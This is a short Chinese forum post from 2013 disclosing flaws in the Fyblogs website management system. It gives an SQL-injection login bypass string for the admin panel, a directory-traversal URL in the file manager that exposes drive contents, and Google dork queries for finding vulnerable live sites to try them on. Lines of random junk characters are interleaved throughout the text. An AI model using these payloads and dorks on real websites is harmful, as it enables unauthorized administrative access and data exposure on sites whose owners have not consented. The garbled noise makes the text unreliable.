漏洞类型： 未授权访问/权限绕过- [* N; P6 N5 I- K" D @# H
8 Y9 i7 g5 _+ Q) a/ Q: t' b/ S+ V
简要描述：8 n) A" _* S5 V/ m. K7 s8 D0 {
) M, X8 N8 w- j/ h0 _Fyblogs网站管理系统,，后台存在万能密码，后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！2 {5 {# t0 ~9 p8 k6 d& J
' ?8 |+ A+ D2 Z6 ]4 x; y详细说明：
! p0 ?. p9 g6 X2 J5 q
: {* V) A1 \% P8 g8 n" M. B$ |后台万能密码 'or'='or'+ j( [ C& [$ J+ {! @1 N4 v' Z
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！" z' X% N! ^% o
admin/uploadfile.asp?currentFolder=/upfiles/../
m0 x7 B. U: ~& x& m; T
- H+ ?' w# P5 b( f: T0 ]! \% n漏洞证明：
/ w$ O/ ]0 S' W/ [3 l1 a1 o3 g0 v) K# Y9 O6 u: X
谷歌：inurl:type.asp?id=1 新闻中心7 M1 E+ S% Z6 B) P3 n! i5 E
或者 ：inurl:download_ok.asp?* o: x( ? m2 W- }; Q- }" g# z4 d
. i" P; @* Z/ L' n9 r2 C; d# w$ }% ~可以测试
, y3 H- ?. ^: c2 `. Z! v; p2 w1 [# j8 @( ~
0 a; {; }( t: k0 [- L: G1 R
|
发表于 2013-3-7 13:07:46
收藏
支持
反对